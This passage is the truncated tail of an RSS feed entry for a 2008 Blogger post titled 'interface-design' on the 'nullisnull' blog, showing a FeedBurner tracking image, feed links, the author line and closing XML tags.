&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/-ZTPlw7PRdI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/-ZTPlw7PRdI/interface-design.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2008/08/interface-design.html</feedburner:origLink></item></channel></rss>

